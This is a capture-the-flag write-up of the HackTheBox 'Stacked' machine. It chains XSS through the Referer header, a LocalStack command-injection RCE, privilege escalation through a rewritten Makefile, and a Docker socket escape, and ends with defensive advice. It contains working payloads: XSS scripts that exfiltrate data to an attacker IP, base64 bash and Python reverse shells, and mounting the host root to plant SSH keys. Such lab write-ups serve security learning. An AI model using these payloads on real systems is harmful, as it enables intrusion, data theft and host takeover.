[HackTheBox] Stacked Writeup

0x00 r3c0n

Started this one on time, in the release arena. As always, updated /etc/hosts with my personal instance.

10.129.206.203    stacked.htb
/etc/hosts
❯ sudo nmap -sV -sC -p- stacked.htb
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-18 21:54 EDT
Nmap scan report for stacked.htb (10.129.206.203)
Host is up (0.030s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 
| ssh-hostkey:
|   3072 12:8f:2b:60:bc:21:bd:db:cb:13:02:03:ef:59:36:a5 (RSA)
|   256 af:f3:1a:6a:e7:13:a9:c0:25:32:d0:2c:be:59:33:e4 (ECDSA)
|_  256 39:50:d5:79:cd:0e:f0:24:d3:2c:f4:23:ce:d2:a6:f2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: STACKED.HTB
2376/tcp open  ssl/docker?
| ssl-cert: Subject: commonName=0.0.0.0
| Subject Alternative Name: DNS:localhost, DNS:stacked, IP Address:0.0.0.0, IP Address:127.0.0.1, IP Address:172.17.0.1
| Not valid before: 2021-07-17T15:37:02
|_Not valid after:  2022-07-17T15:37:02
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
nmap scan - all ports

Classic HTTP webserver but more notably, an exposed docker container? I will prod at this but moving on for now.

❯ gobuster vhost -u stacked.htb -w /usr/share/wordlists/dirb/big.txt | grep "Status: 200" 
Found: portfolio.stacked.htb (Status: 200) [Size: 30268]
vhost fuzzing

Add the portfolio sub to hosts and move on to bigger and better things.

10.129.206.203    stacked.htb
10.129.206.203    portfolio.stacked.htb
/etc/hosts

The main page has very little to work with and I almost immediately moved on. The portfolio page on the other hand has 1) a sample docker file and 2) an interesting contact form.

Here at Stacked we are designing software, developing secure web applications and utilize LocalStack dockers to mock AWS services for localhost testing and LocalStack enhancements. Feel free to download the docker-compose.yml to experiment yourself.
To get started simply download the docker-compose.yml provided in the link below.
Be sure that docker-compose is installed on your system then simply execute the command below.

docker-compose up
If you need to contact us then use the contact form below, We are available 24/7 to assist with any queries you may have.

Downloaded the docker compose file and tried to see if I could use the information to poke around the exposed docker container.

version: "3.3"

services:
  localstack:
    container_name: "${LOCALSTACK_DOCKER_NAME-localstack_main}"
    image: localstack/localstack-full:0.12.6
    network_mode: bridge
    ports:
      - "127.0.0.1:443:443"
      - "127.0.0.1:4566:4566"
      - "127.0.0.1:4571:4571"
      - "127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"
    environment:
      - SERVICES=serverless
      - DEBUG=1
      - DATA_DIR=/var/localstack/data
      - PORT_WEB_UI=${PORT_WEB_UI- }
      - LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- }
      - LOCALSTACK_API_KEY=${LOCALSTACK_API_KEY- }
      - KINESIS_ERROR_PROBABILITY=${KINESIS_ERROR_PROBABILITY- }
      - DOCKER_HOST=unix:///var/run/docker.sock
      - HOST_TMP_FOLDER="/tmp/localstack"
    volumes:
      - "/tmp/localstack:/tmp/localstack"
      - "/var/run/docker.sock:/var/run/docker.sock"
docker-compose.yml

Nothing here I can really do regarding the exposed container without an SSL cert. The compose file indicates that it might be a localstack running a fleet of serverless services. This normally means lambda, s3, dynamodb, etc. and I guessed that I will have to run some AWS commands later.

❯ export AWS_ACCESS_KEY_ID=foobar
export AWS_SECRET_ACCESS_KEY=foobar
❯ aws --endpoint-url=https://stacked.htb:2376 s3 ls

SSL validation failed for https://stacked.htb:2376/ [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1125)

Regarding using foobar for access id/secret key, I discovered that localstack ignores credentials on this localstack github comment. This becomes somewhat relevant later – in various forms. However, we still need placeholders like this for validation purposes.

I tried more enumeration which finally led me to discovering that there is a WAF to detect XSS on the contact form.

0x01 f00th01d

I tried many different payloads and evasion techniques but the WAF seemed pretty robust.

❯ curl 'http://portfolio.stacked.htb/process.php' --data-urlencode 'fullname=attacker' --data-urlencode 'email=kevtar@pwner.com' --data-urlencode 'tel=123456789012' --data-urlencode 'subject=<SCRIPT></SCRIPT>' --data-urlencode 'message=asdfasdf'
{"success":false,"error":"XSS detected!"}

❯ curl 'http://portfolio.stacked.htb/process.php' --data-urlencode 'fullname=attacker' --data-urlencode 'email=kevtar@pwner.com' --data-urlencode 'tel=123456789012' --data-urlencode 'subject=<p onload="javascript:alert(1)"></>' --data-urlencode 'message=asdfasdf'
{"success":false,"error":"XSS detected!"}

❯ curl 'http://portfolio.stacked.htb/process.php' --data-urlencode 'fullname=attacker' --data-urlencode 'email=kevtar@pwner.com' --data-urlencode 'tel=123456789012' --data-urlencode 'subject=<p onload="alert(1)"></p>' --data-urlencode 'message=asdfasdf'
{"success":false,"error":"XSS detected!"}

❯ curl 'http://portfolio.stacked.htb/process.php' --data-urlencode 'fullname=attacker' --data-urlencode 'email=kevtar@pwner.com' --data-urlencode 'tel=123456789012' --data-urlencode 'subject=<object data="">laksdf</p>' --data-urlencode 'message=asdfasdf'
{"success":false,"error":"XSS detected!"}

❯ curl 'http://portfolio.stacked.htb/process.php' --data-urlencode 'fullname=attacker' --data-urlencode 'email=kevtar@pwner.com' --data-urlencode 'tel=123456789012' --data-urlencode 'subject=<img src="javascript:alert(1);">laksdf</p>' --data-urlencode 'message=asdfasdf'
{"success":false,"error":"XSS detected!"}
sample of my WAF evasion attempts

Tried putting the payload in the POST request data and finally started trying the headers. That's when I noticed that the same javascript that I tried in message body was not tripping the WAF in the headers. I tried all of the header and of course the last one I tried struck gold.

❯ curl 'http://portfolio.stacked.htb/process.php' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Origin: http://portfolio.stacked.htb' -H 'Connection: keep-alive' -H 'Referer: <script src="http://10.10.14.110/referer1.js"/>' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' --data-raw 'fullname=test&email=test%40test.com&tel=123456789012&subject=asdf&message=asdf'
{"success":"Your form has been submitted. Thank you!"}

❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.206.203 - - [19/Sep/2021 12:04:28] code 404, message File not found
10.129.206.203 - - [19/Sep/2021 12:04:28] "GET /0.js HTTP/1.1" 404 -
10.129.206.203 - - [19/Sep/2021 12:20:59] code 404, message File not found
10.129.206.203 - - [19/Sep/2021 12:20:59] "GET /referer1.js HTTP/1.1" 404 -
working XSS payload through Referer header

I confirmed that I could pull a script file from a webserver hosted on my attacking machine but it took 15 minutes to figure out which header was vulnerable... I initially did not make them unique, requesting "0.js" from my webserver and spraying each header. Also, it's about 2-3 minute delay for victim to read the message.

Now that I knew that the referer header was vulnerable, I setup a script called referer1.js to serve to the victim. This made it easier, since I can keep sending the same contact form request and only have to modify this file to observe new behavior.

var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", "http://10.10.14.110/" + document.cookie, false);
xmlHttp.send(null);
referer1.js XSS payload

First, I wanted to check to see if there was some cookie(s) that I could steal. Simon says:

10.129.206.203 - - [19/Sep/2021 12:26:32] "GET /referer1.js HTTP/1.1" 200 -
10.129.206.203 - - [19/Sep/2021 12:26:48] "GET / HTTP/1.1" 200 -
simple python webserver on my attacking machine

No cookie... My second thought was to get the location where the victim is reading the message from. I modified the script to request document.location and resent the request.

var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", "http://10.10.14.110/" + document.location, false);
xmlHttp.send(null);
referer1.js
10.129.206.203 - - [19/Sep/2021 12:32:27] "GET /referer1.js HTTP/1.1" 200 -
10.129.206.203 - - [19/Sep/2021 12:32:43] code 404, message File not found
10.129.206.203 - - [19/Sep/2021 12:32:43] "GET /http://mail.stacked.htb/read-mail.php?id=2 HTTP/1.1" 404 -
webserver

New vhost but this one seems to be internal as we cannot access it from outside the network. Add to hosts and now that we can make requests to it through XSS, we can forward those back to us. Assuming CORS does not get in the way of course.

I considered trying to do everything with the python simple webserver but quickly realized that would be a nightmare to do with only GET requests. Instead, I made a tiny flask server to capture POST data and write it to page.html.

Note: looking back, I don't think the CORS stuff was necessary but I saw some warnings in the developer console (I was testing the whole setup locally) and wanted to be sure.

from flask import Flask, jsonify, request
from flask_cors import CORS, cross_origin

app = Flask(__name__)
cors = CORS(app)
app.config['CORS_HEADERS'] = 'Content-Type'

@app.route("/", methods=['GET', 'POST'])
@cross_origin()
def get_xss():
    #print(request.get_data())
    output = open('page.html', 'wb')
    output.write(request.get_data())
    output.close()
    return jsonify(statusCode=200)
server.py basic flask server

Ran the server on port 8000 – and kept the python webserver on 80 to serve the XSS script. Speaking of that, I can now update it to request the internal mail site and send the response back to my flask server.

var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", "http://mail.stacked.htb/", false);
xmlHttp.send(null);
var page = xmlHttp.responseText;
xmlHttp.open("POST", "http://10.10.14.110:8000/", false);
xmlHttp.send(page);
referer1.js to request internal mail site and forward it back to me

Simple and clean. Sent the contact form request again and to my joy, the flask server got a hit and recorded the page in page.html. It is an AdminLTE page.

mail.stacked.htb main page

I didn't bother pulling the included js/css. That email from "Jeremy Taint" with subject line "S3 Instance Started" looks like it could contain useful information. We can find it at http://mail.stacked.htb/read-mail?id=1 so I make a copy of this in homepage.html, update the XSS payload, and resend the XSS request.

var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", "http://mail.stacked.htb/read-mail.php?id=1", false);
xmlHttp.send(null);
var page = xmlHttp.responseText;
xmlHttp.open("POST", "http://10.10.14.110:8000/", false);
xmlHttp.send(page);
referer1.js
victim's email from Jeremy Taint

Another vhost. I am.. fatigued. No matter, I will continue. s3-testing.stacked.htb definitely would not have been caught by any wordlist I had but with some basic curl requests I realized I could interact with the localstack from outside the network.

❯ curl http://s3-testing.stacked.htb/
{"status": "running"}
❯ aws --endpoint-url=http://s3-testing.stacked.htb s3 ls

Unable to locate credentials. You can configure credentials by running "aws configure".
❯ export AWS_ACCESS_KEY_ID=foobar
❯ export AWS_SECRET_ACCESS_KEY=foobar
❯ aws --endpoint-url=http://s3-testing.stacked.htb s3 ls

Using the AWS CLI, I figured out I could do some interesting things. I could create an S3 bucket, upload files to it, create IAM users, create lambda functions, and more.

0x02 us3r

I messed around with aws commands for quite some time. My first impression was that I could make a lambda to give me a reverse shell of some kind since it seemed that the stack had network access. I was not sure if the lambda was sandboxed though.

I also looked up localstack vulnerabilities and found this SSRF/RCE PoC demonstrated by sonarsource. The first thing I did was try out the SSRF attack they mention in the blog. I believe this turned out to be unnecessary, but was still cool to exploit. This section of the localstack readme explains how to send a request to modify the configuration values in-memory. More XSS requests!! Looking at the docker-compose file from the very beginning, it looks like the endpoint is on the default port 4566.

var xmlHttp = new XMLHttpRequest();
xmlHttp.open("POST", "http://localhost:4566/?_config_", false);
xmlHttp.send('{"variable":"HOSTNAME","value":"10.10.14.110"}');
xmlHttp.open("POST", "http://localhost:4566/?_config_", false);
xmlHttp.send('{"variable":"FORWARD_EDGE_INMEM","value":false}');
var page = xmlHttp.responseText;
xmlHttp.open("POST", "http://10.10.14.110:8000/", false);
xmlHttp.send(page);
referer1.js

I setup another python simple webserver on port 4566 to observe the traffic. At this point I am losing track of all the servers I have running, so I will break it down quickly:

  • 80 => used for serving referer1.js XSS payloads
  • 8000 => flask server for capturing internal requests made by the XSS payload and store the redirected contents into page.html
  • 4566 => the localstack traffic on the machine will now forward requests to my webserver on this port

I guess that is not too bad but it felt like a lot to keep track of. I resent the request to trigger the new payload and requests started coming into the server. First, I confirmed that it was working by sending a simple aws request and I see it show up on my own webserver. Nice! Then I noticed something even more interesting..

10.129.206.254 - - [19/Sep/2021 23:24:35] code 501, message Unsupported method ('DELETE')
10.129.206.254 - - [19/Sep/2021 23:24:35] "DELETE /2015-03-31/functions/all HTTP/1.1" 501 -
localstack MITM traffic coming from unknown source

A request to delete all lambda functions would come in every ~2 minutes. Last thing I wanted to do here was to see if I could steal the auth header for the calls which are sent when making AWS calls. It turns out this was completely unnecessary since localstack does not require a valid auth header, it just has to be present and in valid format. I should have guessed this from the access id/secret key thing I discovered earlier.

I updated my flask server definition to have a route for /2015-03-31/functions/all and print the headers. Then, I replaced the simple webserver with a copy of the flask server.

from flask import Flask, jsonify, request
from flask_cors import CORS, cross_origin

app = Flask(__name__)
cors = CORS(app)
app.config['CORS_HEADERS'] = 'Content-Type'

@app.route("/", methods=['GET', 'POST'])
@cross_origin()
def get_xss():
    #print(request.get_data())
    print(request.get_headers())
    output = open('page.html', 'wb')
    output.write(request.get_data())
    output.close()
    return jsonify(statusCode=200)

@app.route("/2015-03-31/functions/all", methods=['DELETE'])
@cross_origin()
def capture_headers():
    print(str(request.headers))
    return jsonify(statusCode=200)
server.py
❯ flask run --host 0.0.0.0 --port 4566
 * Serving Flask app "server"
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://0.0.0.0:4566/ (Press CTRL+C to quit)
10.129.206.254 - - [19/Sep/2021 23:46:26] "GET /lambda/;%20sleep%2010/code HTTP/1.1" 404 -
Accept-Encoding: identity
Remote-Addr: 172.17.0.1
Host: 127.0.0.1:4566
User-Agent: curl/7.68.0
Accept: */*
X-Forwarded-For: 172.17.0.1, 127.0.0.1:4566
X-Localstack-Edge: https://127.0.0.1:4566
Authorization: AWS4-HMAC-SHA256 Credential=__internal_call__/20160623/us-east-1/lambda/aws4_request, SignedHeaders=content-type;host;x-amz-date;x-amz-target, Signature=1234
Content-Length: 0


10.129.206.254 - - [19/Sep/2021 23:46:34] "DELETE /2015-03-31/functions/all HTTP/1.1" 200 -

Again, completely unnecessary. Part of the reason I was doing this was because my attempts at getting the RCE to work were failing. I was receiving a 500 when requesting http://localhost:8080/lambda/<injection>/code through my XSS payload. I should have realized that I would probably be getting a 4xx error if the problem was auth related.

That's when I looked into the actual source for this API and had my biggest facepalm moment. It is expecting json in the request body with an awsEnvironment key... This was the reason for 5xx errors.

@app.route('/lambda/<functionName>/code', methods=['POST'])
def get_lambda_code(functionName):
    """ Get source code for Lambda function.
        ---
        operationId: 'getLambdaCode'
        parameters:
            - name: functionName
              in: path
            - name: request
              in: body
    """
    data = json.loads(request.data)
    env = Environment.from_string(data.get('awsEnvironment'))
    result = infra.get_lambda_code(func_name=functionName, env=env)
    return jsonify(result)
localstack RCE vulnerable code entrypoint

Once again, I modified the XSS payload and you won't believe what comes next.

var xmlHttp = new XMLHttpRequest();
xmlHttp.open("POST", "http://localhost:8080/lambda/%60echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xMTAvNDQ0NCAwPiYxCg%3D%3D%20%7C%20base64%20-d%20%7C%20bash%60/code", false);
xmlHttp.setRequestHeader("Authorization", "AWS4-HMAC-SHA256 Credential=__internal_call__/20160623/us-east-1/lambda/aws4_request, SignedHeaders=content-type;host;x-amz-date;x-amz-target, Signature=1234");
xmlHttp.send('{"awsEnvironment":""}');
//xmlHttp.open("POST", "http://localhost:4566/?_config_", false);
//xmlHttp.send('{"variable":"HOSTNAME","value":"10.10.14.110"}');
//xmlHttp.open("POST", "http://localhost:4566/?_config_", false);
//xmlHttp.send('{"variable":"FORWARD_EDGE_INMEM","value":false}');
var page = xmlHttp.responseText;
xmlHttp.open("POST", "http://10.10.14.110:8000/", false);
xmlHttp.send(page);
referer1.js
❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.110] from (UNKNOWN) [10.129.206.254] 40004
bash: cannot set terminal process group (21): Not a tty
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
bash-5.0$ whoami && hostname && id
whoami && hostname && id
localstack
084699b6f93a
uid=1001(localstack) gid=1001(localstack) groups=1001(localstack)
ls -al /home
total 16
drwxr-xr-x    1 root     root          4096 Feb  1  2021 .
drwxr-xr-x    1 root     root          4096 Sep 16 12:55 ..
drwxr-sr-x    1 localsta localsta      4096 Jul 19 17:46 localstack
drwxr-sr-x    2 node     node          4096 Dec 17  2020 node
bash-5.0$ cd /home/localstack
cd /home/localstack
bash-5.0$ ls
ls
user.txt
bash-5.0$ cat user.txt
cat user.txt
5e4dc74fac9b5e1f578ba6ae8ad9bbdc

Note: this is not the exact same instance when I started, which is why the IP address is different than the one in the beginning. I had to update /etc/hosts after my RA instance died.

0x03 r00t

I'm not going to go too deep into my thought process on root. I discussed with others who rooted and there were many different unintended paths. The way I did it was considered unintended and it will become very obvious why that is.

After lots of enumeration, I was dead-set on getting root a particular way: crashing the localstack infrastructure. Supervisord is running and I found something that I thought was interesting in its configuration file.

bash-5.0$ cat /etc/supervisord.conf
cat /etc/supervisord.conf
[supervisord]
nodaemon=true
logfile=/tmp/supervisord.log

[program:infra]
directory=/opt/code/localstack
command=make infra
autostart=true
autorestart=true
stdout_logfile=/tmp/localstack_infra.log
stderr_logfile=/tmp/localstack_infra.err

[program:dashboard]
command=bash -c 'if [ "$START_WEB" = "0" ]; then exit 0; fi; make web'
user=localstack
autostart=true
autorestart=false
exitcodes=0
startsecs=0
stdout_logfile=/dev/fd/1
stdout_logfile_maxbytes=0
stderr_logfile=/dev/fd/2
stderr_logfile_maxbytes=0
/etc/supervisord.conf on target host

The infrastructure is set to autorestart? It runs make infra and you will not believe what we have write access to.

bash-5.0$ pwd
pwd
/opt/code/localstack
bash-5.0$ ls -al
ls -al
total 180
drwxrwxrwx    1 localsta localsta      4096 Jul 19 17:42 .
drwxr-xr-x    1 root     root          4096 Dec 23  2020 ..
-rw-r--r--    1 root     root         62068 Feb  1  2021 .coverage
drwxr-xr-x    6 localsta localsta      4096 Feb  1  2021 .venv
-rw-rw-r--    1 localsta localsta      8455 Feb  1  2021 Makefile
drwxr-xr-x    2 localsta localsta      4096 Feb  1  2021 bin
drwxr-xr-x    1 localsta localsta      4096 Feb  1  2021 localstack
-rw-r--r--    1 root     root         61864 Feb  1  2021 nosetests.xml
-rw-rw-r--    1 localsta localsta      1529 Feb  1  2021 requirements.txt
-rw-r--r--    1 root     root             3 Sep 16 12:55 supervisord.pid

So if I rewrite the Makefile with my own infra target, I can get root user to run commands and get privesc. I updated the Makefile to give me a reverse shell.

infra:             ## Manually start the local infrastructure for testing
        python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.110",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
        ($(VENV_RUN); exec bin/localstack start --host)
custom Makefile to give root reverse shell

The last line is the actual infrastructure bootstrap but that would never run. Now the only thing to do is crash the server. I tried many methods. Flooding with requests, filling up dynamodb to max, etc. Nothing seemed to crash the server. I looked for ways that the localstack user could stop the server, without directly interacting with the daemon since I did not have those permissions.

For a long time I didn't find anything, until I searched the code... That's when I saw HEADER_KILL_SIGNAL. There is a header that can be sent in the requests to the server that will trigger a sys.kill. And, it's completely undocumented – or I completely missed it. I sent over the request, and boom!

❯ curl http://s3-testing.stacked.htb -H 'x-localstack-kill: true'

❯ nc -nlvp 6666
listening on [any] 6666 ...
connect to [10.10.14.110] from (UNKNOWN) [10.129.207.15] 49478
/opt/code/localstack # whoami
whoami
root

Root! That's great but a sinking feeling starts to settle in. It's not over...

0x04 d0ck3r e5scape

I have root shell, but am still in a container on the machine. Good thing this escape proves to be rather straight forward. The docker socket is exposed and can be seen through the env variables: DOCKER_HOST=tcp://172.17.0.1:2376. I also find that I have permissions to start/run new containers.

bash-5.0# docker images
docker images
REPOSITORY                   TAG                 IMAGE ID            CREATED             SIZE
localstack/localstack-full   0.12.6              7085b5de9f7c        2 months ago        888MB
localstack/localstack-full   <none>              0601ea177088        7 months ago        882MB
lambci/lambda                nodejs12.x          22a4ada8399c        7 months ago        390MB
lambci/lambda                nodejs10.x          db93be728e7b        7 months ago        385MB
lambci/lambda                nodejs8.10          5754fee26e6e        7 months ago        813MB
list of docker images
bash-5.0# docker ps -a
docker ps -a
CONTAINER ID        IMAGE                               COMMAND                  CREATED             STATUS                      PORTS                                                                                                  NAMES
4216b6077e58        localstack/localstack-full:0.12.6   "docker-entrypoint.sh"   45 hours ago        Up 45 hours                 127.0.0.1:443->443/tcp, 127.0.0.1:4566->4566/tcp, 127.0.0.1:4571->4571/tcp, 127.0.0.1:8080->8080/tcp   localstack_main
d76e9ebac9d7        0601ea177088                        "docker-entrypoint..."   2 months ago        Exited (130) 2 months ago                                                                                                          condescending_babbage
list of docker container running/exited

The image associated with the docker container that we are attached to has tag 0.12.6. When I try to run another container with this image, it fails because volumes are already attached to the current container. There is another container that was killed 2 months ago so I made a dummy image using that container and started a new container with the host's root volume attached to /host directory in the new container.

bash-5.0# docker commit d76e9ebac9d7 user/test_image
docker commit d76e9ebac9d7 user/test_image
sha256:bbfe0b19508c955af6e1aa34a597776d7fdfe0302212d39685321d34cf341863
bash-5.0# docker run -v /:/host user/test_image &
docker run -v /:/host user/test_image &
[1] 2908
...
...
bash-5.0# docker ps
docker ps
CONTAINER ID        IMAGE                               COMMAND                  CREATED              STATUS              PORTS                                                                                                  NAMES
3206bb593a83        user/test_image                     "docker-entrypoint..."   About a minute ago   Up About a minute   4566/tcp, 4571/tcp, 8080/tcp                                                                           modest_bhabha
4216b6077e58        localstack/localstack-full:0.12.6   "docker-entrypoint.sh"   45 hours ago         Up 45 hours         127.0.0.1:443->443/tcp, 127.0.0.1:4566->4566/tcp, 127.0.0.1:4571->4571/tcp, 127.0.0.1:8080->8080/tcp   localstack_main
bash-5.0# docker exec -it 3206bb593a83 /bin/bash
docker exec -it 3206bb593a83 /bin/bash
bash-5.0# whoami && hostname && id
whoami && hostname && id
root
3206bb593a83
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
create new container with host's root volume attached

I am root in the new container now, moment of truth is to check the /host directory.

bash-5.0# cd /host
cd /host
bash-5.0# ls -al
ls -al
total 80
drwxr-xr-x   19 root     root          4096 Aug 26 15:02 .
drwxr-xr-x    1 root     root          4096 Sep 20 16:38 ..
lrwxrwxrwx    1 root     root             7 Feb  1  2021 bin -> usr/bin
drwxr-xr-x    4 root     root          4096 Sep 13 20:58 boot
drwxr-xr-x    2 root     root          4096 Jun 28 18:51 cdrom
drwxr-xr-x   19 root     root          4020 Sep 18 19:52 dev
drwxr-xr-x  110 root     root          4096 Sep 13 20:56 etc
drwxr-xr-x    4 root     root          4096 Jul 14 02:02 home
lrwxrwxrwx    1 root     root             7 Feb  1  2021 lib -> usr/lib
lrwxrwxrwx    1 root     root             9 Feb  1  2021 lib32 -> usr/lib32
lrwxrwxrwx    1 root     root             9 Feb  1  2021 lib64 -> usr/lib64
lrwxrwxrwx    1 root     root            10 Feb  1  2021 libx32 -> usr/libx32
drwx------    2 root     root         16384 Jun 28 18:50 lost+found
drwxr-xr-x    2 root     root          4096 Feb  1  2021 media
drwxr-xr-x    2 root     root          4096 Feb  1  2021 mnt
drwxr-xr-x    3 root     root          4096 Jul 11 20:40 opt
dr-xr-xr-x  306 root     root             0 Sep 18 19:52 proc
drwx------   11 root     root          4096 Sep 14 16:31 root
drwxr-xr-x   29 root     root           900 Sep 18 20:21 run
lrwxrwxrwx    1 root     root             8 Feb  1  2021 sbin -> usr/sbin
drwxr-xr-x    2 root     root          4096 Feb  1  2021 srv
dr-xr-xr-x   13 root     root             0 Sep 18 19:52 sys
drwxrwxrwt   14 root     root         12288 Sep 20 16:39 tmp
drwxr-xr-x   15 root     root          4096 Sep 13 20:53 usr
drwxr-xr-x   13 root     root          4096 Jul 11 15:14 var
bash-5.0# cd root
bash-5.0# cat root.txt
cat root.txt
c44dd47f8391bcc14aa9423ad9a378d3

And that's system pwn! But it doesn't feel right if I never actually get shell outside of the container so I make one last effort to close it out. I made a new SSH key and piped it into /host/root/.ssh/authorized_keys.

❯ ssh -i stacked root@stacked.htb
Warning: Permanently added the ECDSA host key for IP address '10.129.207.32' to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-84-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 20 Sep 16:43:07 UTC 2021

  System load:              0.05
  Usage of /:               90.2% of 7.32GB
  Memory usage:             38%
  Swap usage:               0%
  Processes:                267
  Users logged in:          0
  IPv4 address for docker0: 172.17.0.1
  IPv4 address for ens160:  10.129.207.32
  IPv6 address for ens160:  dead:beef::250:56ff:feb9:e1b2

  => / is using 90.2% of 7.32GB


0 updates can be applied immediately.


Last login: Tue Sep 14 16:31:31 2021
root@stacked:~# whoami && hostname && id
root
stacked
uid=0(root) gid=0(root) groups=0(root)

0x05 s3cur1ty adv1ce

Running localstack in a production environment

Just don't do it! Localstack is meant for local development and testing of AWS applications. It's definitely not meant to be used out in the wild. Do whatever you can to avoid localstack being exposed and allowing any input from untrusted source. In this case, the system had localstack exposed outside of the internal network and accepting requests from the outside.

Localstack Github

Localstack Webpage

XSS WAF detection on entire request

It is not good enough to run a XSS filter on only the request body. In this case, the actual XSS filter seemed comprehensive but this did not matter because the internal mail site recorded the contents of the Referer header directly on the page and the WAF was not checking the headers. Have your XSS filters check all possible attack vectors.

MITRE CAPEC-86

Exposing docker socket within container

This one is rather intuitive. If you have access to the docker socket within the container itself, it goes hand-in-hand with being able to escape the whale. In this case, the socket was exposed through TCP and allowed the user within the container to do seemingly anything.

The Dangers of Docker.sock – raesene's blog

Noteable mentions

  • ENABLE_CONFIG_UPDATES could have been left at 0 to prevent the SSRF and easy MITM setup – this was not crucial in this case, but a callout
  • Seemingly no CORS restrictions were in place for the internal mail site letting us forward those internal page to a webserver on our attacking machine
  • Recording the referer header on the page seems unnecessary

0x06 f1nal n0t3s

Another hit by TheCyberGeek! There are very realistic elements here and those in the cloud industry could learn a few things from this box. In retrospect, the box does not feel that insane, but stringing together vulernabilities made for a unique challenge that was really satisfying to complete. After owning root, I discussed with a few others who already completed the box and there were a handful of unintended paths. This makes a lot more sense once you find the primary technology utilized in this machine.

This was my first "insane" machine own and also the first machine I ranked in the top 25. I've been on a grind and hoping to reach Elite Hacker rank soon and eventually getting first bloods. I also made significant adjustments to this custom Ghost theme to better work for this writeup style. See my fork of The Shell theme by mityalebedev.